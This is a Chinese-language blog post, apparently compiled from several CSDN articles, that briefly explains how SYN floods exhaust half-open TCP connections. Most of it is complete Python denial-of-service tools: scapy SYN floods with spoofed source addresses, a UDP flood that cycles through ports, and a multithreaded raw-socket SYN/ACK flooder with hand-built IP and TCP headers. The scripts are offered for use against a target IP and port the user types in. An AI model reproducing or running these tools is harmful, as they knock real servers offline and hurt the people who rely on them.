https://blog.csdn.net/qq_38684504/article/details/101070766

https://blog.csdn.net/xlf13872135090/article/details/8059538

https://blog.csdn.net/jun2016425/article/details/81506353

在TCP/IP协议中,当客户端试着与服务器间创建TCP连接时,正常情况下客户端与服务器端进行TCP三次握手:

  1. 客户端通过发送SYN同步(synchronize)信息到服务器要求创建连接。
  2. 服务器通过响应客户端SYN-ACK以抄收(acknowledge)请求。
  3. 客户端答应ACK,连接随之建立。

当开放了一个TCP端口后,该端口就处于Listening状态,不停地监视发到该端口的Syn报文,一 旦接收到Client发来的Syn报文,就需要为该请求分配一个TCB(Transmission Control Block),通常一个TCB至少需要280个字节,在某些操作系统中TCB甚至需要1300个字节,并返回一个SYN ACK命令,立即转为SYN-RECEIVED即半开连接状态,而某些操作系统在SOCK的实现上最多可开启512个半开连接。如果恶意的向某个服务器端口发送大量的SYN包,则可以使服务器打开大量的半开连接,分配TCB,从而消耗大量的服务器资源,同时也使得正常的连接请求无法被相应。而攻击发起方的资源消耗相比较可忽略不计。

本代码中发了一万个SYN包,源IP地址是从10.200.101.3到255(可根据需要更改)随机选取的,源端口在49512到65535范围内,目标IP为10.200.101.2,目标端口为80。

以上信息都可以根据实际需求更改。

from scapy.all import *

import random

for i in range(0,9999):

random_ip='10.'+'200.'+'101.'+str(random.randrange(0,255))

random_sPort=random.randrange(49512,65535)

ip=IP(src=random_ip, dst='10.200.101.2')

pkt=TCP(sport=random_sPort, dport=80, flags='S', seq=11111)

synpacket=(ip/pkt)

send(synpacket)

UDP洪水攻击

from socket import *
import random

# 创建 socket 关键字
st = socket(AF_INET, SOCK_DGRAM)
# 创建随机报文数据
bytes = random._urandom(1024)

ip = input("IP Target :")
port = 1
sent = 0

print("UDP flood attack is about to begin...")

while True:
    # 发送数据
    st.sendto(bytes, (ip, port))
    sent += 1
    port += 1
    print("Sent %s packet to %s throught port:%s" % (sent, ip, port))
    if port == 65534:
        port = 1

Python实现SYNFlood

#!/usr/bin/python
#-*-coding:utf-8-*-

import socket
import struct
import random
import threading



class myThread (threading.Thread):
    def __init__(self,dstip,dstport,mode):
        threading.Thread.__init__(self)
        self.dstip = dstip
        self.dstport =dstport
        self.mode =mode
    def run(self):
        attack(self.dstip,self.dstport,self.mode)

def checksum(data):
    s = 0
    n = len(data) % 2
    for i in range(0, len(data)-n, 2):
        s+= ord(data[i]) + (ord(data[i+1]) << 8)
    if n:
        s+= ord(data[i+1])
    while (s >> 16):
        s = (s & 0xFFFF) + (s >> 16)
    s = ~s & 0xffff
    return s


def IP(source,destination,udplen):
    version = 4
    ihl = 5
    tos = 0
    tl = 20+udplen
    ip_id = random.randint(1,65535)
    flags = 0
    offset = 0
    ttl = 128
    protocol =6
    check =0
    source = socket.inet_aton(source)
    destination = socket.inet_aton(destination)

    ver_ihl = (version << 4)+ihl
    flags_offset = (flags << 13)+offset
    ip_header = struct.pack("!BBHHHBBH4s4s",
                    ver_ihl,
                    tos,
                    tl,
                    ip_id,
                    flags_offset,
                    ttl,
                    protocol,
                    check,
                    source,
                    destination)
    check=checksum(ip_header)
    ip_header = struct.pack("!BBHHHBBH4s4s",
                    ver_ihl,
                    tos,
                    tl,
                    ip_id,
                    flags_offset,
                    ttl,
                    protocol,
                    socket.htons(check),
                    source,
                    destination)
    return ip_header


def TCP(srcip,dstip,protocol,dp,fg):
    source = socket.inet_aton(srcip)
    destination = socket.inet_aton(dstip)
    srcport=random.randint(1,65535)
    dstport=dp
    syn_num=random.randint(1,4000000000)
    if fg == 2:
        ack_num=0
    else:
        ack_num=random.randint(1,4000000000)
    hlen=5
    zero=0
    flag=fg
    window=8192
    check=0
    point=0
    tcplen=hlen
    h_f=(hlen << 12)+flag
    TCP_head=struct.pack("!4s4sHHHHIIHHHH",source,destination,protocol,tcplen,srcport,dstport,syn_num,ack_num,h_f,window,check,point)
    check=checksum(TCP_head)
    TCP_head=struct.pack("!HHIIHHHH",srcport,dstport,syn_num,ack_num,h_f,window,check,point)
    return TCP_head

def makepacket(dstip,dstport,fg):
    srcip=str(random.choice(ip_first))+'.'+str(random.randint(1,255))+'.'+str(random.randint(1,255))+'.'+str(random.randint(1,255))
    protocol=6
    ippacket=IP(srcip,dstip,5)+TCP(srcip,dstip,protocol,dstport,fg)
    return ippacket


def attack(dstip,dstport,mode):
    if mode == 'syn':
        fg=2
        while 1:
            data=makepacket(dstip,dstport,fg)
            s.sendto(data,(dstip,dstport))
    elif mode == 'ack':
        fg=18
        while 1:
            data=makepacket(dstip,dstport,fg)
            s.sendto(data,(dstip,dstport))
    elif mode == 'syn&ack':
        while 1:
            data=makepacket(dstip,dstport,2)
            s.sendto(data,(dstip,dstport))
            data=makepacket(dstip,dstport,18)
            s.sendto(data,(dstip,dstport))
    else:
        print('DON\'T xia say!')
dstip=raw_input('attack IP:')
dstport=int(input('attack PORT:'))
mode=raw_input('mode:(syn or ack or syn&ack)')
threads=int(input("线程数threads:"))
ip_first=[]
for i in range(1,10):
    ip_first.append(i)
for i in range(11,172):
    ip_first.append(i)
for i in range(173,192):
    ip_first.append(i)
for i in range(193,224):
    ip_first.append(i)
s = socket.socket(socket.AF_INET,socket.SOCK_RAW,6)
s.setsockopt(socket.IPPROTO_IP,socket.IP_HDRINCL,1)
threads_name=[]
for i in range(threads):
    threads_name.append('teread'+str(i))
for i in range(threads):
    threads_name[i]=myThread(dstip,dstport,mode)
for i in range(threads):
    threads_name[i].start()

使用Python实现SYN 泛洪攻击

from scapy.all import *
import random

#生成随机的IP
def randomIP():
    ip=".".join(map(str,(random.randint(0,255) for i in range(4))))
    return ip

#生成随机端口
def randomPort():
    port=random.randint(1000,10000)
    return port

#syn-flood
def synFlood(count,dstIP,dstPort):
    total=0
    print("Packets are sending ...")
    for i in range(count):
        #IPlayer
        srcIP=randomIP()
        dstIP=dstIP
        IPlayer = IP(src=srcIP,dst=dstIP)
        #TCPlayer
        srcPort=randomPort()
        TCPlayer = TCP(sport=srcPort, dport=dstPort, flags="S")
        #发送包
        packet = IPlayer / TCPlayer
        send(packet)
        total+=1
    print("Total packets sent: %i" % total)

#显示的信息
def info():
    print("#"*30)
    print("# Welcome to SYN Flood Tool  #")
    print("#"*30)
    #输入目标IP和端口
    dstIP = input("Target IP : ")
    dstPort = int(input("Target Port : "))
    return dstIP, dstPort

if __name__ == '__main__':
    dstIP, dstPort=info()
    count=int(input("Please input the number of packets:"))
    synFlood(count,dstIP,dstPort)


#简易:

from scapy.all import *
import random

def synFlood():
    for i in range(10000):
        #构造随机的源IP
        src='%i.%i.%i.%i'%(
            random.randint(1,255),
            random.randint(1, 255),
            random.randint(1, 255),
            random.randint(1, 255)
            )
        #构造随机的端口
        sport=random.randint(1024,65535)
        IPlayer=IP(src=src,dst='192.168.37.130')
        TCPlayer=TCP(sport=sport,dport=80,flags="S")
        packet=IPlayer/TCPlayer
        send(packet)

if __name__ == '__main__':
    synFlood()
Last modification:October 19th, 2020 at 03:46 pm
如果觉得我的文章对你有用,请随意赞赏